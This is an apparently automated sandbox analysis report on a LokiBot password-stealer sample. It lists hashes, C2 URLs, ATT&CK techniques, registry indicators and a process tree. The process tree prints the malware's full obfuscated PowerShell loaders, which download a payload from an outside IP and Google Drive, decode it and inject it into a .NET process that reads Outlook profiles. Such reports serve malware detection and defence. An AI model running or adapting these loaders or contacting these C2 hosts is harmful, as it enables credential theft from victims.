lokibot | 8762a9dea77db2f44207cc9edbc192f5776f7ac8532440ae60a65f5102f8ec93

Analysis

max time kernel
138s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
30-10-2024 07:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

greatthingswithmegood.hta
Size

169KB
MD5

d61ef0038de65f697abb0b7a21b499db
SHA1

f8facfa18bf5eeecaa0601e8c1690fe60fe02ff8
SHA256

8762a9dea77db2f44207cc9edbc192f5776f7ac8532440ae60a65f5102f8ec93
SHA512

3ce0e7e8302d6b6c23ea209b07640be3b616306494d065c0293885bed194002f92bc41f4329f18465dd0ad77087afa6ce5a30a585e422f08a017306040986223
SSDEEP

48:4vaw5oZz7eWLB2rQOyeoCKcxyeoCKnAWUSl+WmpCzc/xJUdPePmkee7+SfitTFmE:4vG172ICeC4lw/HwSCirCtgQ

Score

10^/10

lokibot collection defense_evasion discovery execution spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Extracted

Family

lokibot

http://94.156.177.220/logs/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot
Lokibot family
lokibot
Blocklisted process makes network request 4 IoCs

Processes:

POWeRSHell.eXEpowershell.exe

flow pid process

20 1724 POWeRSHell.eXE
27 4136 powershell.exe
29 4136 powershell.exe
35 4136 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

3716 powershell.exe
4136 powershell.exe
Evasion via Device Credential Deployment 2 IoCs
defense_evasion execution

Processes:

powershell.exePOWeRSHell.eXE

pid process

1164 powershell.exe
1724 POWeRSHell.eXE

flow	pid	process
20	1724	POWeRSHell.eXE
27	4136	powershell.exe
29	4136	powershell.exe
35	4136	powershell.exe

pid	process
3716	powershell.exe
4136	powershell.exe

pid	process
1164	powershell.exe
1724	POWeRSHell.eXE

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

mshta.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

aspnet_regbrowsers.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	aspnet_regbrowsers.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	aspnet_regbrowsers.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_regbrowsers.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

25 drive.google.com
27 drive.google.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4136 set thread context of 1696 4136 powershell.exe aspnet_regbrowsers.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
25	drive.google.com
27	drive.google.com

description	pid	process	target process
PID 4136 set thread context of 1696	4136	powershell.exe	aspnet_regbrowsers.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

WScript.exepowershell.exepowershell.exemshta.exePOWeRSHell.eXEpowershell.execsc.execvtres.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	POWeRSHell.eXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe

Modifies registry class 1 IoCs

Processes:

POWeRSHell.eXE

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings POWeRSHell.eXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings	POWeRSHell.eXE

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

POWeRSHell.eXEpowershell.exepowershell.exepowershell.exe

pid	process
1724	POWeRSHell.eXE
1724	POWeRSHell.eXE
1164	powershell.exe
1164	powershell.exe
3716	powershell.exe
3716	powershell.exe
4136	powershell.exe
4136	powershell.exe
4136	powershell.exe
4136	powershell.exe
4136	powershell.exe
4136	powershell.exe
4136	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

POWeRSHell.eXEpowershell.exepowershell.exepowershell.exeaspnet_regbrowsers.exe

description	pid	process
Token: SeDebugPrivilege	1724	POWeRSHell.eXE
Token: SeDebugPrivilege	1164	powershell.exe
Token: SeDebugPrivilege	3716	powershell.exe
Token: SeDebugPrivilege	4136	powershell.exe
Token: SeDebugPrivilege	1696	aspnet_regbrowsers.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

mshta.exePOWeRSHell.eXEcsc.exeWScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 4280 wrote to memory of 1724	4280	mshta.exe	POWeRSHell.eXE
PID 4280 wrote to memory of 1724	4280	mshta.exe	POWeRSHell.eXE
PID 4280 wrote to memory of 1724	4280	mshta.exe	POWeRSHell.eXE
PID 1724 wrote to memory of 1164	1724	POWeRSHell.eXE	powershell.exe
PID 1724 wrote to memory of 1164	1724	POWeRSHell.eXE	powershell.exe
PID 1724 wrote to memory of 1164	1724	POWeRSHell.eXE	powershell.exe
PID 1724 wrote to memory of 3476	1724	POWeRSHell.eXE	csc.exe
PID 1724 wrote to memory of 3476	1724	POWeRSHell.eXE	csc.exe
PID 1724 wrote to memory of 3476	1724	POWeRSHell.eXE	csc.exe
PID 3476 wrote to memory of 3232	3476	csc.exe	cvtres.exe
PID 3476 wrote to memory of 3232	3476	csc.exe	cvtres.exe
PID 3476 wrote to memory of 3232	3476	csc.exe	cvtres.exe
PID 1724 wrote to memory of 4572	1724	POWeRSHell.eXE	WScript.exe
PID 1724 wrote to memory of 4572	1724	POWeRSHell.eXE	WScript.exe
PID 1724 wrote to memory of 4572	1724	POWeRSHell.eXE	WScript.exe
PID 4572 wrote to memory of 3716	4572	WScript.exe	powershell.exe
PID 4572 wrote to memory of 3716	4572	WScript.exe	powershell.exe
PID 4572 wrote to memory of 3716	4572	WScript.exe	powershell.exe
PID 3716 wrote to memory of 4136	3716	powershell.exe	powershell.exe
PID 3716 wrote to memory of 4136	3716	powershell.exe	powershell.exe
PID 3716 wrote to memory of 4136	3716	powershell.exe	powershell.exe
PID 4136 wrote to memory of 1732	4136	powershell.exe	aspnet_regbrowsers.exe
PID 4136 wrote to memory of 1732	4136	powershell.exe	aspnet_regbrowsers.exe
PID 4136 wrote to memory of 1732	4136	powershell.exe	aspnet_regbrowsers.exe
PID 4136 wrote to memory of 1904	4136	powershell.exe	aspnet_regbrowsers.exe
PID 4136 wrote to memory of 1904	4136	powershell.exe	aspnet_regbrowsers.exe
PID 4136 wrote to memory of 1904	4136	powershell.exe	aspnet_regbrowsers.exe
PID 4136 wrote to memory of 1696	4136	powershell.exe	aspnet_regbrowsers.exe
PID 4136 wrote to memory of 1696	4136	powershell.exe	aspnet_regbrowsers.exe
PID 4136 wrote to memory of 1696	4136	powershell.exe	aspnet_regbrowsers.exe
PID 4136 wrote to memory of 1696	4136	powershell.exe	aspnet_regbrowsers.exe
PID 4136 wrote to memory of 1696	4136	powershell.exe	aspnet_regbrowsers.exe
PID 4136 wrote to memory of 1696	4136	powershell.exe	aspnet_regbrowsers.exe
PID 4136 wrote to memory of 1696	4136	powershell.exe	aspnet_regbrowsers.exe
PID 4136 wrote to memory of 1696	4136	powershell.exe	aspnet_regbrowsers.exe
PID 4136 wrote to memory of 1696	4136	powershell.exe	aspnet_regbrowsers.exe

outlook_office_path 1 IoCs

Processes:

aspnet_regbrowsers.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_regbrowsers.exe

outlook_win_path 1 IoCs

Processes:

aspnet_regbrowsers.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	aspnet_regbrowsers.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\greatthingswithmegood.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4280
- C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE
  "C:\Windows\sYSTEM32\windOWSPowerShell\V1.0\POWeRSHell.eXE" "poweRSheLl.EXe -eX byPASS -noP -W 1 -c dEVicECREdeNtiaLDePlOymenT ; Iex($(IEX('[sYstEm.tExT.enCOding]'+[char]0X3a+[char]0x3A+'UtF8.GETStRIng([sySTEM.convERt]'+[CHAR]58+[CHar]58+'fRoMbase64STriNg('+[Char]0x22+'JFZENmI1TUtGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFEZC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTW9uLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtHRENPeUFFdkgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3Esc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZkhuSk9PQWdhTCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNMV0JuWCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiS2cpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ3TnZtcExmRlp2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0cU9kWVBRUCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkVkQ2YjVNS0Y6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguNDYuMTc4LjE1MS82Ni9zZWVtZXRoZWJlc3R0aGluZ3N3aXRoZ3JlYXRuZWVkc3dpdGhnb29kZm9ybWV3aXRoLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVtZXRoZWJlc3R0aGluZ3N3aXRoZ3JlYXRuZWVkc3dpdGhnby52YnMiLDAsMCk7c3RBcnQtU2xFZXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXHNlZW1ldGhlYmVzdHRoaW5nc3dpdGhncmVhdG5lZWRzd2l0aGdvLnZicyI='+[cHAr]34+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1724
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX byPASS -noP -W 1 -c dEVicECREdeNtiaLDePlOymenT
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1164
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c1xuba2k\c1xuba2k.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3476
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA49C.tmp" "c:\Users\Admin\AppData\Local\Temp\c1xuba2k\CSC45149097E21C4BA09852BCA45E701.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3232
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemethebestthingswithgreatneedswithgo.vbs"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4572
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRTSEVMbGlkWzFdKyRzaEVsbElkWzEzXSsnWCcpICgoJ2p2TWltYWdlVXJsID0gdUNiaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgdUNiO2p2TXdlYkNsaWVudCA9IE5ldy1PYmplYycrJ3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7anZNaW1hZ2VCJysneXRlJysncyA9IGp2TXdlYkNsaWVudC5Eb3dubG9hZERhJysndGEoanZNaW1hZ2VVcmwpO2p2TWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKGp2TWltYWdlQnl0ZXMpO2p2TXN0YXJ0RmxhZyA9IHVDYjw8QkFTRTY0X1NUQVJUPj51Q2I7anZNZW5kJysnRmxhZyA9IHVDYjw8QkFTRTY0X0VORD4+dUNiO2p2TXN0YXJ0SW5kZXggPSBqdk1pbWFnZVRleHQuSW5kZXhPZihqdk1zdGFydEZsYWcpO2p2TWVuZEluZGV4ID0ganZNaW1hZ2VUZXh0JysnLkluZGV4T2YnKycoanZNZW5kRmxhZyk7anZNc3RhcnRJbmRleCAtZ2UgMCAtYW5kIGp2TWVuZEluZGV4IC1ndCBqdk1zdGFydEluZGV4O2p2TXN0YXJ0SW5kZXggKz0ganZNc3RhcnRGbGFnLkxlbmd0aDtqdk1iYXNlNjRMZW5ndGggPSBqdk1lbmRJJysnbmRleCAtIGp2TXN0YXJ0SW5kZScrJ3g7anZNYmFzZTY0Q29tbWFuZCA9IGp2TWltYWdlVGV4dC5TdWJzdHJpbmcoanZNc3RhcnRJbmRleCwganZNYmFzZTY0TGVuZ3RoKTtqdk0nKydiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChqdk1iYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCcrJykgbnJFIEZvckVhJysnY2gtT2JqZWN0IHsganZNXyB9KVstMS4uLShqdk1iYXNlNjRDb21tYW5kLkxlbmd0aCldO2p2TWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoanZNYmFzZTY0UmV2ZXJzZWQpO2p2TWxvYWRlZEFzc2VtYmx5ICcrJz0gW1N5Jysnc3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChqdk1jb21tYW5kQnl0ZXMpO2p2TXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QnKycodUNiVkFJdUNiKTtqdk12YWlNZXRob2QuSW52b2tlKGp2TW51bGwsIEAodUNidHh0LicrJ0dST0wnKydMLzY2LzE1MS44NzEuNjQuODkxLycrJy86cHR0aHVDJysnYiwgdUNiZGVzYXRpdmFkb3VDYiwgdUNiZGVzYScrJ3RpdmFkb3VDYiwgdUNiZGVzYXRpdmFkb3VDYicrJywgdUNiYXNwbicrJ2UnKyd0X3JlZ2Jyb3dzZXJzdUNiLCB1Q2JkZXNhdGl2YWRvdUNiLCB1Q2JkZXNhdGl2YWRvdUNiLHVDYmRlc2F0aXZhZG91Q2IsdUNiZGVzYXRpdmFkb3VDYix1Q2JkZXNhdGl2YWRvdUNiLHVDYmRlc2F0aXZhZG91Q2IsdUNiZGVzYScrJ3RpdmFkb3VDYix1Q2IxdUNiLHVDYmRlc2F0aXZhZG91Q2IpKTsnKS5SZXBsQWNlKCdqdk0nLCckJykuUmVwbEFjZSgndUNiJyxbc1RyaW5HXVtjaGFSXTM5KS5SZXBsQWNlKChbY2hhUl0xMTArW2NoYVJdMTE0K1tjaGFSXTY5KSxbc1RyaW5HXVtjaGFSXTEyNCkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3716
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $SHELlid[1]+$shEllId[13]+'X') (('jvMimageUrl = uCbhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur uCb;jvMwebClient = New-Objec'+'t System.Net.WebClient;jvMimageB'+'yte'+'s = jvMwebClient.DownloadDa'+'ta(jvMimageUrl);jvMimageText = [System.Text.Encoding]::UTF8.GetString(jvMimageBytes);jvMstartFlag = uCb<<BASE64_START>>uCb;jvMend'+'Flag = uCb<<BASE64_END>>uCb;jvMstartIndex = jvMimageText.IndexOf(jvMstartFlag);jvMendIndex = jvMimageText'+'.IndexOf'+'(jvMendFlag);jvMstartIndex -ge 0 -and jvMendIndex -gt jvMstartIndex;jvMstartIndex += jvMstartFlag.Length;jvMbase64Length = jvMendI'+'ndex - jvMstartInde'+'x;jvMbase64Command = jvMimageText.Substring(jvMstartIndex, jvMbase64Length);jvM'+'base64Reversed = -join (jvMbase64Command.ToCharArray('+') nrE ForEa'+'ch-Object { jvM_ })[-1..-(jvMbase64Command.Length)];jvMcommandBytes = [System.Convert]::FromBase64String(jvMbase64Reversed);jvMloadedAssembly '+'= [Sy'+'stem.Reflection.Assembly]::Load(jvMcommandBytes);jvMvaiMethod = [dnlib.IO.Home]'+'.GetMethod'+'(uCbVAIuCb);jvMvaiMethod.Invoke(jvMnull, @(uCbtxt.'+'GROL'+'L/66/151.871.64.891/'+'/:ptthuC'+'b, uCbdesativadouCb, uCbdesa'+'tivadouCb, uCbdesativadouCb'+', uCbaspn'+'e'+'t_regbrowsersuCb, uCbdesativadouCb, uCbdesativadouCb,uCbdesativadouCb,uCbdesativadouCb,uCbdesativadouCb,uCbdesativadouCb,uCbdesa'+'tivadouCb,uCb1uCb,uCbdesativadouCb));').ReplAce('jvM','$').ReplAce('uCb',[sTrinG][chaR]39).ReplAce(([chaR]110+[chaR]114+[chaR]69),[sTrinG][chaR]124))"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4136
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        6⤵
        
        PID:1732
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        6⤵
        
        PID:1904
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        6⤵
        Accesses Microsoft Outlook profiles
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:1696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\POWeRSHell.eXE.log

Filesize
2KB

MD5
3d086a433708053f9bf9523e1d87a4e8

SHA1
b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

SHA256
6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

SHA512
931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
af22d99d84fa2f20542b7176bc34823e

SHA1
e0af6562990e5fe0313ef5f2c221217406600da8

SHA256
bd5eda8d58923d43cd1d85bfe03b4003dc049445a58ae05464f1a0f4ea65418c

SHA512
e099c4214c7a05d2d04bed316fd295b74a679f5c2f312fd27d196eb8f9e45f520d5f76457109adea3f9430cdab991b68279812d5a9ce98d09ef8e04555a5f3ae

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
d040d24f139f52a83f87c115c631c460

SHA1
afe9cd6c3411c20ae5ecfce99b91aa37021cc979

SHA256
138fbbd4661642649236b0b2c57363d095ea62b6ffb0d109460a2c8e11afda16

SHA512
c8871910e3c8e515d9e0504ffd957d34054524e2ba731ecc93edda9a3d345aff48cac4d19008c6e6a735b877eadb01a9b1328b26fed54c75f80279093992b108

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESA49C.tmp

Filesize
1KB

MD5
984ce047c1f19f717ed954752f05f45d

SHA1
ff31df4161539520dab352ab891879c32b1dee34

SHA256
a8883e2dc8438d8868403e105b106885e7f18f0cb2bbe4fa3284ac39d9253c10

SHA512
39103dd96f1fa00664598a0ae3621cdcccc7893ac9e8a520a020304cc6da42e4c1bd928ddb44c78f940675dda8b4c58066158da7839313d8edc01d008f1c4fd4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t0hjyipr.bo4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\c1xuba2k\c1xuba2k.dll

Filesize
3KB

MD5
8d2553bc87a03df2be04c2566412f5e7

SHA1
f253a034f974edd2ee482c59e1c14277b4f384bd

SHA256
7b79d79b09426f49c1913d33f656af6707a6018d59c4819e784db26bf42134eb

SHA512
6678710c3ce6ce57b75acc4f578484a6504fe67153062ce9d0351ca7478125aaaf4c51f3ccacb5bf678d6b3c10de7019069a21e201cc67a4b21606c0d9d2e459

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3227495264-2217614367-4027411560-1000\0f5007522459c86e95ffcc62f32308f1_423fd5c7-8559-4b8c-bf1f-c9d05c9f0fd3

Filesize
46B

MD5
d898504a722bff1524134c6ab6a5eaa5

SHA1
e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

SHA256
878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

SHA512
26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3227495264-2217614367-4027411560-1000\0f5007522459c86e95ffcc62f32308f1_423fd5c7-8559-4b8c-bf1f-c9d05c9f0fd3

Filesize
46B

MD5
c07225d4e7d01d31042965f048728a0a

SHA1
69d70b340fd9f44c89adb9a2278df84faa9906b7

SHA256
8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

SHA512
23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Download Submit
C:\Users\Admin\AppData\Roaming\seemethebestthingswithgreatneedswithgo.vbs

Filesize
138KB

MD5
64cc9748329c0e186cacd10d639615e6

SHA1
1291f245b185bd05fb09646b79f284d76e7dc0ff

SHA256
2c5fffa8231f572e3a34b8d4ca675aec062c3accfe661519a28e376605c0479d

SHA512
65ccbfe0223b58675aef7de997229f3ba66be892c851d6cec9018b941f3a5c5cac3c41fbe1878474213293ad25059b06e7ff7f0c4e3320d75a6fa7f071b646ba

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\c1xuba2k\CSC45149097E21C4BA09852BCA45E701.TMP

Filesize
652B

MD5
8791600409520b70b419e99a4c1886a9

SHA1
88bbe4e9fc5b12cd6ce4ac3f0a546bbef90f5c15

SHA256
8041d2a6e7471cb1e01ff6488dd30779d9be751712068a69ebdde7e201f9cce6

SHA512
419fe47195a291f307696ec34f3551bccbb17e20ff5b91ff07ec9e939eff445849ec828a6cb17b5c0be2caa84cbf4a1747bc316a58ca083a2213f3efc66e05f0

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\c1xuba2k\c1xuba2k.0.cs

Filesize
487B

MD5
8165df8b1b6d49c15b5e65811de25b8c

SHA1
fbe4fe188254b23c8b57b8d1bcd56011a93f34ba

SHA256
063172ff26517cdf762b144b713c24d423f75c6493234773c0e241c060dfa9f9

SHA512
ede5171453ece61e25baf3eef0a842e92a2b2c47c06bd4ed416f9c0a42e2bbc29f1810b97e4041dcdfd53995fc0e268f20a39188db553cf272b0374994473a2d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\c1xuba2k\c1xuba2k.cmdline

Filesize
369B

MD5
15f4d4e0ea6c1722695cb862b846451e

SHA1
4dac106b53bfa08bf3d9401bbb0c3324a0d79486

SHA256
e7156b5ebb6345b31ae6ac2f81376c0243ca2fdd96f2487dbb01e5f6928b33f4

SHA512
fb2fc3861055258b7e56400f1420620f674630b4cb93dab487074fb8a72097cbd64593a41b62f494a72e7c02406925ca8bfc9cf1db8ff4e63807e20a3bc9eeb1

Download Submit
memory/1164-29-0x00000000071C0000-0x00000000071F2000-memory.dmp

Filesize
200KB

Download
memory/1164-30-0x000000006D970000-0x000000006D9BC000-memory.dmp

Filesize
304KB

Download
memory/1164-40-0x00000000065B0000-0x00000000065CE000-memory.dmp

Filesize
120KB

Download
memory/1164-41-0x0000000007200000-0x00000000072A3000-memory.dmp

Filesize
652KB

Download
memory/1164-42-0x0000000007930000-0x0000000007FAA000-memory.dmp

Filesize
6.5MB

Download
